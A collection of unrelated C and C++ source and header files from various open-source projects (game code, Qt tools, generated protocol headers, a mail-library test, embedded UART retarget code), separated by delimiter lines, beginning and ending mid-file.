class HT_API D3D12ConstantBuffer
{
public:
D3D12ConstantBuffer();
~D3D12ConstantBuffer();
bool Initialize(ID3D12Device* device,
ID3D12DescriptorHeap* heap,
uint64_t size);
void Map(uint32_t subresource, uint64_t size);
void Fill(void** data, size_t size, size_t cbSize, uint32_t currentFrame);
void Unmap(uint32_t subresource);
const D3D12_GPU_VIRTUAL_ADDRESS& GetGPUAddress();
public:
UINT8* m_mappedData;
D3D12_CONSTANT_BUFFER_VIEW_DESC m_view;
D3D12_GPU_VIRTUAL_ADDRESS m_gpuAddress;
ID3D12Resource* m_buffer;
};
}
}
} |
/*
* Copyright 2010-2013 OpenXcom Developers.
*
* This file is part of OpenXcom.
*
* OpenXcom is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* OpenXcom is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with OpenXcom. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef OPENXCOM_PROMOTIONSSTATE_H
#define OPENXCOM_PROMOTIONSSTATE_H
#include "../Engine/State.h"
#include <string>
namespace OpenXcom
{
class TextButton;
class Window;
class Text;
class TextList;
/**
* Promotions screen that displays new soldier ranks.
*/
class PromotionsState : public State
{
private:
TextButton *_btnOk;
Window *_window;
Text *_txtTitle, *_txtName, *_txtRank, *_txtBase;
TextList *_lstSoldiers;
public:
/// Creates the Promotions state.
PromotionsState(Game *game);
/// Cleans up the Promotions state.
~PromotionsState();
/// Handler for clicking the OK button.
void btnOkClick(Action *action);
};
}
#endif
|
#include "../libcli/util/ntstatus.h"
NTSTATUS read_hex_bytes(const char *s, uint hexchars, uint64_t *dest);
NTSTATUS parse_guid_string(const char *s,
uint32_t *time_low,
uint32_t *time_mid,
uint32_t *time_hi_and_version,
uint32_t clock_seq[2],
uint32_t node[6]);
|
/*
* Generated by asn1c-0.9.29 (http://lionet.info/asn1c)
* From ASN.1 module "NGAP-PDU-Contents"
* found in "../support/ngap-r16.1.0/38413-g10.asn"
* `asn1c -pdu=all -fcompound-names -findirect-choice -fno-include-deps`
*/
#ifndef _NGAP_PDUSessionResourceModifyIndication_H_
#define _NGAP_PDUSessionResourceModifyIndication_H_
#include <asn_application.h>
/* Including external dependencies */
#include "NGAP_ProtocolIE-Container.h"
#include <constr_SEQUENCE.h>
#ifdef __cplusplus
extern "C" {
#endif
/* NGAP_PDUSessionResourceModifyIndication */
typedef struct NGAP_PDUSessionResourceModifyIndication {
NGAP_ProtocolIE_Container_6976P7_t protocolIEs;
/*
* This type is extensible,
* possible extensions are below.
*/
/* Context for parsing across buffer boundaries */
asn_struct_ctx_t _asn_ctx;
} NGAP_PDUSessionResourceModifyIndication_t;
/* Implementation */
extern asn_TYPE_descriptor_t asn_DEF_NGAP_PDUSessionResourceModifyIndication;
extern asn_SEQUENCE_specifics_t asn_SPC_NGAP_PDUSessionResourceModifyIndication_specs_1;
extern asn_TYPE_member_t asn_MBR_NGAP_PDUSessionResourceModifyIndication_1[1];
#ifdef __cplusplus
}
#endif
#endif /* _NGAP_PDUSessionResourceModifyIndication_H_ */
#include <asn_internal.h>
|
/*
* Aqqregator
* Copyright (C) 2016 Clemens Bartz
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef SETTINGSDIALOG_H
#define SETTINGSDIALOG_H
#include <QDialog>
namespace Ui {
class SettingsDialog;
}
class SettingsDialog : public QDialog
{
Q_OBJECT
public:
explicit SettingsDialog(QWidget *parent = 0);
~SettingsDialog();
private:
Ui::SettingsDialog *ui;
};
#endif // SETTINGSDIALOG_H
|
/************************************* open_iA ************************************ *
* ********** A tool for visual analysis and processing of 3D CT images ********** *
* *********************************************************************************** *
* Copyright (C) 2016-2021 C. Heinzl, M. Reiter, A. Reh, W. Li, M. Arikan, Ar. & Al. *
* Amirkhanov, J. Weissenböck, B. Fröhler, M. Schiwarth, P. Weinberger *
* *********************************************************************************** *
* This program is free software: you can redistribute it and/or modify it under the *
* terms of the GNU General Public License as published by the Free Software *
* Foundation, either version 3 of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, but WITHOUT ANY *
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A *
* PARTICULAR PURPOSE. See the GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License along with this *
* program. If not, see http://www.gnu.org/licenses/ *
* *********************************************************************************** *
* Contact: FH OÖ Forschungs & Entwicklungs GmbH, Campus Wels, CT-Gruppe, *
* Stelzhamerstraße 23, 4600 Wels / Austria, Email: c.heinzl@fh-wels.at *
* ************************************************************************************/
#pragma once
#include <QWidget>
#include <QVector>
class iAChartWithFunctionsWidget;
class iASimpleSlicerWidget;
class QLabel;
class QGridLayout;
class QResizeEvent;
class iAHistogramStackGrid : public QWidget
{
public:
iAHistogramStackGrid(
QWidget *parent,
QVector<iAChartWithFunctionsWidget*> const & histograms,
QVector<iASimpleSlicerWidget*> const & slicers,
QVector<QLabel*> const & labels,
#if QT_VERSION < QT_VERSION_CHECK(5, 15, 0)
Qt::WindowFlags f = 0);
#else
Qt::WindowFlags f = Qt::WindowFlags());
#endif
void adjustStretch()
{
adjustStretch(size().width());
}
protected:
void resizeEvent(QResizeEvent* event);
private:
void adjustStretch(int w);
QGridLayout *m_gridLayout;
int m_spacing = 1;
}; |
/*******************************************************************************
**
** Copyright (C) 2007-2020 Greg McGarragh <greg.mcgarragh@colostate.edu>
**
** This source code is licensed under the GNU General Public License (GPL),
** Version 3. See the file COPYING for more details.
**
*******************************************************************************/
#ifndef XRTM_H
#define XRTM_H
#ifdef __cplusplus
extern "C" {
#endif
#ifdef INCLUDE_DEV_SOURCE
#include "../src2/xrtm2.h"
#endif
/*
#define DEBUG
#define POISON_WORK_ARRAYS
*/
#define DO_NOT_ADD_SFI_SS 0
#define USE_PADE_CHECK_CONDITION 0
#define USE_REBUILD_STACKS 0
#define USE_SYMMETRIC_FORM 0
#ifdef HAVE_FORTRAN_COMPILER
#define EIGEN_SOLVER_GEN_REAL EIGEN_SOLVER_GEN_REAL_ASYMTX
#else
#define EIGEN_SOLVER_GEN_REAL EIGEN_SOLVER_GEN_REAL_LAPACK
#endif
#define EIGEN_SOLVER_GEN_COMPLEX EIGEN_SOLVER_GEN_COMPLEX_LAPACK
#define THRESHOLD_SYM_MUL_BLOCK 8 + 4
#define THRESHOLD_MU_0_SINGLARITY 1.e-5
#define THRESHOLD_OMEGA_SINGLARITY 1.e-5
#define CLASSICAL_PARTICULAR_SOLUTION_USE_2D 0
#define DOUB_RTS_USE_PARTICULAR_SOLUTION 0
#ifdef __cplusplus
}
#endif
#endif /* XRTM_H */
|
/*=============================================================================
| Copyright 2012 Matthew D. Steele <mdsteele@alum.mit.edu> |
| |
| This file is part of Azimuth. |
| |
| Azimuth is free software: you can redistribute it and/or modify it under |
| the terms of the GNU General Public License as published by the Free |
| Software Foundation, either version 3 of the License, or (at your option) |
| any later version. |
| |
| Azimuth is distributed in the hope that it will be useful, but WITHOUT |
| ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or |
| FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for |
| more details. |
| |
| You should have received a copy of the GNU General Public License along |
| with Azimuth. If not, see <http://www.gnu.org/licenses/>. |
=============================================================================*/
#include "test/test.h"
/*===========================================================================*/
int main(int argc, char **argv) {
RUN_TEST(test_alloc);
RUN_TEST(test_arc_circle_hits_circle);
RUN_TEST(test_arc_circle_hits_line);
RUN_TEST(test_arc_circle_hits_line_segment);
RUN_TEST(test_arc_circle_hits_point);
RUN_TEST(test_arc_circle_hits_polygon);
RUN_TEST(test_arc_circle_hits_polygon_trans);
RUN_TEST(test_arc_ray_hits_circle);
RUN_TEST(test_arc_ray_hits_line);
RUN_TEST(test_arc_ray_hits_line_segment);
RUN_TEST(test_arc_ray_hits_polygon);
RUN_TEST(test_arc_ray_hits_polygon_trans);
RUN_TEST(test_array_size);
RUN_TEST(test_circle_hits_arc);
RUN_TEST(test_circle_hits_circle);
RUN_TEST(test_circle_hits_line);
RUN_TEST(test_circle_hits_line_segment);
RUN_TEST(test_circle_hits_point);
RUN_TEST(test_circle_hits_polygon);
RUN_TEST(test_circle_hits_polygon_trans);
RUN_TEST(test_circle_touches_line);
RUN_TEST(test_circle_touches_line_segment);
RUN_TEST(test_circle_touches_polygon);
RUN_TEST(test_circle_touches_polygon_trans);
RUN_TEST(test_clock_mod);
RUN_TEST(test_clock_zigzag);
RUN_TEST(test_color3f);
RUN_TEST(test_create_sound_data);
RUN_TEST(test_cubic_bezier_angle);
RUN_TEST(test_cubic_bezier_arc_length);
RUN_TEST(test_cubic_bezier_arc_param);
RUN_TEST(test_cubic_bezier_point);
RUN_TEST(test_find_knee);
RUN_TEST(test_hint_matches);
RUN_TEST(test_hsva_color);
RUN_TEST(test_is_number_key);
RUN_TEST(test_lead_target);
RUN_TEST(test_modulo);
RUN_TEST(test_mod2pi);
RUN_TEST(test_paragraph_length);
RUN_TEST(test_paragraph_read);
RUN_TEST(test_parse_music);
RUN_TEST(test_parse_music_instructions);
RUN_TEST(test_persist_sound);
RUN_TEST(test_player_flags);
RUN_TEST(test_player_give_upgrade);
RUN_TEST(test_player_set_room_visited);
RUN_TEST(test_player_set_zone_mapped);
RUN_TEST(test_polygon_contains);
RUN_TEST(test_polygon_contains_circle);
RUN_TEST(test_position_visible);
RUN_TEST(test_prefs_defaults);
RUN_TEST(test_prefs_missing_values);
RUN_TEST(test_prefs_save_load);
RUN_TEST(test_randint);
RUN_TEST(test_random);
RUN_TEST(test_ray_hits_arc);
RUN_TEST(test_ray_hits_bounding_circle);
RUN_TEST(test_ray_hits_circle);
RUN_TEST(test_ray_hits_line_segment);
RUN_TEST(test_ray_hits_polygon);
RUN_TEST(test_ray_hits_polygon_trans);
RUN_TEST(test_script_clone);
RUN_TEST(test_script_print);
RUN_TEST(test_script_scan);
RUN_TEST(test_select_gun);
RUN_TEST(test_signmod);
RUN_TEST(test_sound_volume);
RUN_TEST(test_strdup);
RUN_TEST(test_strprintf);
RUN_TEST(test_transition_color);
RUN_TEST(test_uids);
RUN_TEST(test_vaddlen);
RUN_TEST(test_vcaplen);
RUN_TEST(test_vpolar);
RUN_TEST(test_vproj);
RUN_TEST(test_vreflect);
RUN_TEST(test_vrotate);
RUN_TEST(test_vunit);
RUN_TEST(test_vwithlen);
RUN_TEST(test_zero_array);
RUN_TEST(test_zero_object);
return final_test_summary();
}
/*===========================================================================*/
|
// This file was generated based on /Users/r0xstation/18app/src/.uno/ux13/app18.Button.g.uno.
// WARNING: Changes might be lost if you edit this file directly.
#pragma once
#include <Fuse.Animations.IResize.h>
#include <Fuse.Binding.h>
#include <Fuse.Controls.Panel.h>
#include <Fuse.Drawing.ISurfaceDrawable.h>
#include <Fuse.IActualPlacement.h>
#include <Fuse.INotifyUnrooted.h>
#include <Fuse.IProperties.h>
#include <Fuse.ITemplateSource.h>
#include <Fuse.Node.h>
#include <Fuse.Scripting.IScriptObject.h>
#include <Fuse.Triggers.Actions.ICollapse.h>
#include <Fuse.Triggers.Actions.IHide.h>
#include <Fuse.Triggers.Actions.IShow.h>
#include <Fuse.Visual.h>
#include <Uno.Collections.ICollection-1.h>
#include <Uno.Collections.IEnumerable-1.h>
#include <Uno.Collections.IList-1.h>
#include <Uno.Float4.h>
#include <Uno.UX.IPropertyListener.h>
namespace g{namespace app18{struct Button;}}
namespace g{namespace Uno{namespace UX{struct Property1;}}}
namespace g{namespace Uno{namespace UX{struct Selector;}}}
namespace g{
namespace app18{
// public partial sealed class Button :4
// {
::g::Fuse::Controls::Panel_type* Button_typeof();
void Button__ctor_7_fn(Button* __this);
void Button__get_BackgroundColor_fn(Button* __this, ::g::Uno::Float4* __retval);
void Button__set_BackgroundColor_fn(Button* __this, ::g::Uno::Float4* value);
void Button__InitializeUX_fn(Button* __this);
void Button__New4_fn(Button** __retval);
void Button__SetBackgroundColor_fn(Button* __this, ::g::Uno::Float4* value, uObject* origin);
void Button__SetValue_fn(Button* __this, uString* value, uObject* origin);
void Button__get_Value_fn(Button* __this, uString** __retval);
void Button__set_Value_fn(Button* __this, uString* value);
struct Button : ::g::Fuse::Controls::Panel
{
static ::g::Uno::UX::Selector __selector0_;
static ::g::Uno::UX::Selector& __selector0() { return Button_typeof()->Init(), __selector0_; }
static ::g::Uno::UX::Selector __selector1_;
static ::g::Uno::UX::Selector& __selector1() { return Button_typeof()->Init(), __selector1_; }
::g::Uno::Float4 _field_BackgroundColor;
uStrong<uString*> _field_Value;
uStrong< ::g::Uno::UX::Property1*> temp_Color_inst;
uStrong< ::g::Uno::UX::Property1*> temp1_Value_inst;
void ctor_7();
::g::Uno::Float4 BackgroundColor();
void BackgroundColor(::g::Uno::Float4 value);
void InitializeUX();
void SetBackgroundColor(::g::Uno::Float4 value, uObject* origin);
void SetValue(uString* value, uObject* origin);
uString* Value();
void Value(uString* value);
static Button* New4();
};
// }
}} // ::g::app18
|
#include "types.h"
int main() {
return 1;
}
|
#ifndef SKO_STALL_H
#define SKO_STALL_H
class SKO_Stall
{
//to hold shops and banks...maybe more!
public:
//what shop ID? 0 is bank
int shopId;
//where is this stand at?
int x, y;
//how wide is it? how tall? I want a button for it man.
int w, h;
SKO_Stall(int x_in, int y_in, int w_in, int h_in);
SKO_Stall();
};
#endif
|
#ifndef __XML_PARSER_H__
#define __XML_PARSER_H__
#include <libxml++/parsers/domparser.h>
#include <libxml++/nodes/node.h>
#include <libxml++/nodes/textnode.h>
#include <singleton.h>
namespace Chenilles
{
using namespace xmlpp;
class XMLParser:public Singleton < XMLParser >
{
public:
// Load a XML Document, parse it, and load
// the corresponding XML Tree and Parser context into memory.
// If you try to load an other document when a existing is loaded
// (and not freed) ask is reject (do nothing).
// @throw exception
// @param xmldoc The absolute path to a XML Document
void LoadDoc (const Glib::ustring & xmldoc);
// Free the current context
void FreeDoc (void);
// Get the Node corresponding to the following XPath syntax.
// @param xpath A XPath syntax
// @return The Node corresponding to XPath syntax, if
// this path exist in tree, NULL otherwises.
const Node *getNode (const Glib::ustring & xpath) const;
const Node *getFirstChild(const Node *parent) const;
// Get the value of following attribute in a Node
// @throw exception
// @param node The Node which contains the attribute
// @param att_name The attribute name
// @return The value of the mentionned attribute
Glib::ustring getAttribute (const Node * node,
const Glib::ustring & att_name) const;
int getIntAttribute (const Node *node,
const Glib::ustring & att_name) const;
// Get the text content of a Element Node
// @throw exception
// @param node The Node in which take the value
// @return The content of the TextNode contained in node.
Glib::ustring getText (const Node *node) const;
// The following node is a TextNode ?
// @param node The Node about we want information type.
// @return true if node is a TextNode, false otherwises.
inline bool isTextNode (const Node * node) const
{
return dynamic_cast < const TextNode *>(node);
}
// Get the sibling of a node
// @param node The node which we want the sibling
// @return the node sibling of "node".
const Node *NextSibling (const Node * node) const;
private:
DomParser * parser;
XMLParser (void);
~XMLParser (void);
friend class Singleton < XMLParser >;
};
};
#endif
|
#include "../../../../../src/quicktemplates2/qquickpage_p.h"
|
#define SHELL_BANNER "\r\n\r\n\
.oooooo..o o ooooooooo. o .oooooo. o ooooooooo. \r\n\
d8P' `Y8 `8.8.8' `888 `Y88. `8.8.8' d8P' `Y8b `8.8.8' `888 `Y88. \r\n\
Y88bo. .8'8`8. 888 .d88' .8'8`8. 888 888 .8'8`8. 888 .d88' \r\n\
`\"Y8888o. \" 888ooo88P' \" 888 888 \" 888ooo88P' \r\n\
`\"Y88b 888 888 888 888`88b.\r\n\
oo .d8P 888 `88b d88b 888 `88b.\r\n\
8\"\"88888P' o888o `Y8bood8P'Ybd' o888o o888o\r\n"
#define SHELL_CREDITS "\r\n \
DEFCON 25 Unofficial Badge Team\r\n \
\r\n\
John Adams (hw,sw)\r\n \
Bill Paul (hw,sw)\r\n \
Egan Hirvelda (game mechanics)\r\n \
Matthew (graphics,art)\r\n\r\n"
// defining this here because I don't want to keep looking it up
// and I want to save calls to getwidth/height
#define SCREEN_WIDTH 320
#define SCREEN_HEIGHT 240
// Remember! Filenames must be in old school dos format (8x3)
// 12345678.123
#define IMG_SPLASH "SPQR.RGB"
#define IMG_GROUND "ground.rgb" // ground
#define IMG_GROUND_BTNS "grbutt.rgb" // ground with no buttons
#define IMG_GROUND_BTN_ROT "grrot.rgb" // ground, rotated with buttons
#define IMG_GROUND_BCK "grback.rgb" // ground with back button
#define IMG_BLOCK "block.rgb"
#define IMG_ATTACK "attack.rgb"
// app
#define IMG_UNLOCKBG "unlockbg.rgb"
#define IMG_CHOOSETYPE "choose.rgb"
#define IMG_ARROW_DN_50 "ar50dn.rgb"
#define IMG_PLANE "plane.rgb"
#define IMG_EFFLOGO "efflogo.rgb"
#define IMG_SPLASH_DISPLAY_TIME 5000 // longer if music playing
#define IMG_SPLASH_NO_SOUND_DISPLAY_TIME 1000
#define POS_PLAYER1_X 0
#define POS_PLAYER1_Y 45
#define POS_PLAYER2_X 180
#define POS_PLAYER2_Y 45
// used for enemy selection and stats when buttons on screen
#define POS_PCENTER_X 30
#define POS_PCENTER_Y 45
#define POS_FLOOR_Y 200
#define PLAYER_SIZE_X 140
#define PLAYER_SIZE_Y 160
/* screen locations */
#define STATUS_Y 20 /* where the status row is on screen */
|
//
// Copyright 2015 by Kevin L. Goodwin [fwmechanic@gmail.com]; All rights reserved
//
// This file is part of K.
//
// K is free software: you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the Free Software
// Foundation, either version 3 of the License, or (at your option) any later
// version.
//
// K is distributed in the hope that it will be useful, but WITHOUT ANY
// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
// FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
// details.
//
// You should have received a copy of the GNU General Public License along
// with K. If not, see <http://www.gnu.org/licenses/>.
//
#pragma once
#include "attr_format.h"
enum { // these are COLOR CODES!
fgBLK = 0x0,
fgBLU = 0x1,
fgGRN = 0x2,
fgCYN = 0x3,
fgRED = 0x4,
fgPNK = 0x5,
fgBRN = 0x6,
fgDGR = 0x7,
fgMGR = 0x8,
fgLBL = 0x9,
fgLGR = 0xA,
fgLCY = 0xB,
fgLRD = 0xC,
fgLPK = 0xD,
fgYEL = 0xE,
fgWHT = 0xF,
//------------
bgBLK = (fgBLK<<4),
bgBLU = (fgBLU<<4),
bgGRN = (fgGRN<<4),
bgCYN = (fgCYN<<4),
bgRED = (fgRED<<4),
bgPNK = (fgPNK<<4),
bgBRN = (fgBRN<<4),
bgDGR = (fgDGR<<4),
bgMGR = (fgMGR<<4),
bgLBL = (fgLBL<<4),
bgLGR = (fgLGR<<4),
bgLCY = (fgLCY<<4),
bgLRD = (fgLRD<<4),
bgLPK = (fgLPK<<4),
bgYEL = (fgYEL<<4),
bgWHT = (fgWHT<<4),
//------------ masks
FGmask=0x0F, BGmask=0xF0,
FGhi =0x08, BGhi =0x80,
FGbase=0x07, BGbase=0x70,
};
enum class fg: uint8_t {
BLK = 0x0,
BLU = 0x1,
GRN = 0x2,
CYN = 0x3,
RED = 0x4,
PNK = 0x5,
BRN = 0x6,
DGR = 0x7,
MGR = 0x8,
LBL = 0x9,
LGR = 0xA,
LCY = 0xB,
LRD = 0xC,
LPK = 0xD,
YEL = 0xE,
WHT = 0xF,
};
enum class bg: uint8_t {
//------------
BLK = (to_underlying(fg::BLK)<<4),
BLU = (to_underlying(fg::BLU)<<4),
GRN = (to_underlying(fg::GRN)<<4),
CYN = (to_underlying(fg::CYN)<<4),
RED = (to_underlying(fg::RED)<<4),
PNK = (to_underlying(fg::PNK)<<4),
BRN = (to_underlying(fg::BRN)<<4),
DGR = (to_underlying(fg::DGR)<<4),
MGR = (to_underlying(fg::MGR)<<4),
LBL = (to_underlying(fg::LBL)<<4),
LGR = (to_underlying(fg::LGR)<<4),
LCY = (to_underlying(fg::LCY)<<4),
LRD = (to_underlying(fg::LRD)<<4),
LPK = (to_underlying(fg::LPK)<<4),
YEL = (to_underlying(fg::YEL)<<4),
WHT = (to_underlying(fg::WHT)<<4),
};
typedef uint8_t colorval_t; // as comprehended by the system's conio API; a.k.a. color attribute a.k.a. attr
STIL constexpr colorval_t fb( fg ff, bg bb ) { return to_underlying( ff ) | to_underlying( bb ); }
struct YX_t {
int lin;
int col;
YX_t() : lin(0) , col(0) {}
YX_t( int lin_, int col_ ) : lin(lin_) , col(col_) {}
bool operator==( const YX_t &rhs ) const { return lin == rhs.lin && col == rhs.col; }
bool operator!=( const YX_t &rhs ) const { return !(*this == rhs); }
};
typedef unsigned short EdKc_t;
struct EdKC_Ascii {
EdKc_t EdKcEnum;
char Ascii; // exists because NUMLOCK-masked EdKC values != correct number key ascii values
};
enum ConfirmResponse { crYES, crNO, crCANCEL };
namespace ConIO {
bool StartupOk( bool fForceNewConsole );
void Shutdown();
int DbgPopf( const char *fmt, ... ) ATTR_FORMAT(1, 2);
bool Confirm( const char *pszPrompt );
ConfirmResponse Confirm_wCancel( const char *pszPrompt );
}
namespace ConOut {
void Bell();
YX_t GetMaxConsoleSize();
void GetScreenSize( YX_t *rv);
bool SetScreenSizeOk( YX_t &newSize );
void Resize();
bool GetCursorState( YX_t *pt, bool *pfVisible );
void SetCursorLocn( int yLine, int xCol );
void SetCursorSize( bool fBigCursor );
bool SetCursorVisibilityChanged( bool fVisible );
int BufferWriteString( const char *pszStringToDisp, int StringLen, int yLineWithinConsoleWindow, int xColWithinConsoleWindow, int colorAttribute, bool fPadWSpcs );
void BufferFlushToScreen();
bool WriteToFileOk( FILE *ofh );
bool SetConsolePalette( const unsigned palette[16] );
}
namespace ConIn {
EdKC_Ascii EdKC_Ascii_FromNextKey();
EdKC_Ascii EdKC_Ascii_FromNextKey_Keystr( std::string &dest );
bool FlushKeyQueueAnythingFlushed();
void WaitForKey();
bool KbHit();
}
|
/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
****************************************************************************/
#pragma once
#include "timelinemodel.h"
#include "timelinenotesmodel.h"
namespace Timeline {
class TIMELINE_EXPORT TimelineModelAggregator : public QObject
{
Q_OBJECT
Q_PROPERTY(int height READ height NOTIFY heightChanged)
Q_PROPERTY(QVariantList models READ models NOTIFY modelsChanged)
Q_PROPERTY(Timeline::TimelineNotesModel *notes READ notes CONSTANT)
public:
TimelineModelAggregator(TimelineNotesModel *notes, QObject *parent = 0);
~TimelineModelAggregator();
int height() const;
void addModel(TimelineModel *m);
void setModels(const QList<TimelineModel *> &models);
const TimelineModel *model(int modelIndex) const;
QVariantList models() const;
TimelineNotesModel *notes() const;
void clear();
int modelCount() const;
int modelIndexById(int modelId) const;
Q_INVOKABLE int modelOffset(int modelIndex) const;
Q_INVOKABLE QVariantMap nextItem(int selectedModel, int selectedItem, qint64 time) const;
Q_INVOKABLE QVariantMap prevItem(int selectedModel, int selectedItem, qint64 time) const;
signals:
void modelsChanged();
void heightChanged();
private:
class TimelineModelAggregatorPrivate;
TimelineModelAggregatorPrivate *d_ptr;
Q_DECLARE_PRIVATE(TimelineModelAggregator)
};
} // namespace Timeline
|
/* GNU Mailutils -- a suite of utilities for electronic mail
Copyright (C) 2013 Free Software Foundation, Inc.
GNU Mailutils is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3, or (at your option)
any later version.
GNU Mailutils is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with GNU Mailutils. If not, see <http://www.gnu.org/licenses/>. */
#include <assert.h>
#include <mailutils/mailutils.h>
char *text = "From: root\n\
\n\
This is a test message.\n\
oo\n\
";
int
main (int argc, char **argv)
{
int i;
char *p;
mu_message_t msg;
mu_stream_t stream = NULL;
mu_header_t hdr;
mu_body_t body;
char *buf = NULL;
mu_set_program_name (argv[0]);
mu_static_memory_stream_create (&stream, text, strlen (text));
assert (mu_stream_to_message (stream, &msg) == 0);
mu_stream_unref (stream);
assert (mu_message_get_header (msg, &hdr) == 0);
assert (mu_message_get_body (msg, &body) == 0);
assert (mu_body_get_streamref (body, &stream) == 0);
assert (mu_stream_seek (stream, 0, MU_SEEK_END, NULL) == 0);
for (i = 1; i < argc; i++)
{
if (strcmp (argv[i], "-h") == 0)
{
mu_printf ("usage: %s [-a HDR:VAL] [-t TEXT]\n", mu_program_name);
return 0;
}
if (strcmp (argv[i], "-a") == 0)
{
i++;
assert (argv[i] != NULL);
p = strchr (argv[i], ':');
assert (p != NULL);
*p++ = 0;
while (*p && mu_isspace (*p))
p++;
assert (mu_header_set_value (hdr, argv[i], p, 1) == 0);
}
else if (strcmp (argv[i], "-l") == 0)
{
mu_off_t off;
int whence = MU_SEEK_SET;
i++;
assert (argv[i] != NULL);
off = strtol (argv[i], &p, 10);
assert (*p == 0);
if (off < 0)
whence = MU_SEEK_END;
assert (mu_stream_seek (stream, off, whence, NULL) == 0);
}
else if (strcmp (argv[i], "-t") == 0)
{
size_t len;
i++;
assert (argv[i] != NULL);
len = strlen (argv[i]);
buf = realloc (buf, len + 1);
mu_wordsplit_c_unquote_copy (buf, argv[i], len);
assert (buf != NULL);
assert (mu_stream_write (stream, buf,
strlen (buf), NULL) == 0);
}
else
mu_error ("ignoring unknown argument %s", argv[i]);
}
mu_stream_unref (stream);
assert (mu_message_get_streamref (msg, &stream) == 0);
assert (mu_stream_copy (mu_strout, stream, 0, NULL) == 0);
mu_stream_unref (stream);
return 0;
}
|
/*******************************************************************************************************************************************************
* Copyright ¨Ï 2016 <WIZnet Co.,Ltd.>
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ¡°Software¡±),
* to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED ¡°AS IS¡±, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*********************************************************************************************************************************************************/
/**
******************************************************************************
* @file WZTOE/Loopback/retarget.c
* @author IOP Team
* @version V1.0.0
* @date 26-AUG-2015
* @brief Using for printf function
******************************************************************************
* @attention
*
* THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE
* TIME. AS A RESULT, WIZnet SHALL NOT BE HELD LIABLE FOR ANY
* DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING
* FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE
* CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
*
* <h2><center>© COPYRIGHT 2015 WIZnet Co.,Ltd.</center></h2>
******************************************************************************
*/
#include <stdio.h>
#include "W7500x_uart.h"
#define USING_UART2
#if defined (USING_UART0)
#define UART_SEND_BYTE(ch) UartPutc(UART0,ch)
#define UART_RECV_BYTE() UartGetc(UART0)
#elif defined (USING_UART1)
#define UART_SEND_BYTE(ch) UartPutc(UART1,ch)
#define UART_RECV_BYTE() UartGetc(UART1)
#elif defined (USING_UART2)
#define UART_SEND_BYTE(ch) S_UartPutc(ch)
#define UART_RECV_BYTE() S_UartGetc()
#endif
#if defined ( __CC_ARM )
/******************************************************************************/
/* Retarget functions for ARM DS-5 Professional / Keil MDK */
/******************************************************************************/
#include <time.h>
#include <rt_misc.h>
#pragma import(__use_no_semihosting_swi)
struct __FILE { int handle; /* Add whatever you need here */ };
FILE __stdout;
FILE __stdin;
int fputc(int ch, FILE *f) {
return (UART_SEND_BYTE(ch));
}
int fgetc(FILE *f) {
return (UART_SEND_BYTE(UART_RECV_BYTE()));
}
int ferror(FILE *f) {
/* Your implementation of ferror */
return EOF;
}
void _ttywrch(int ch) {
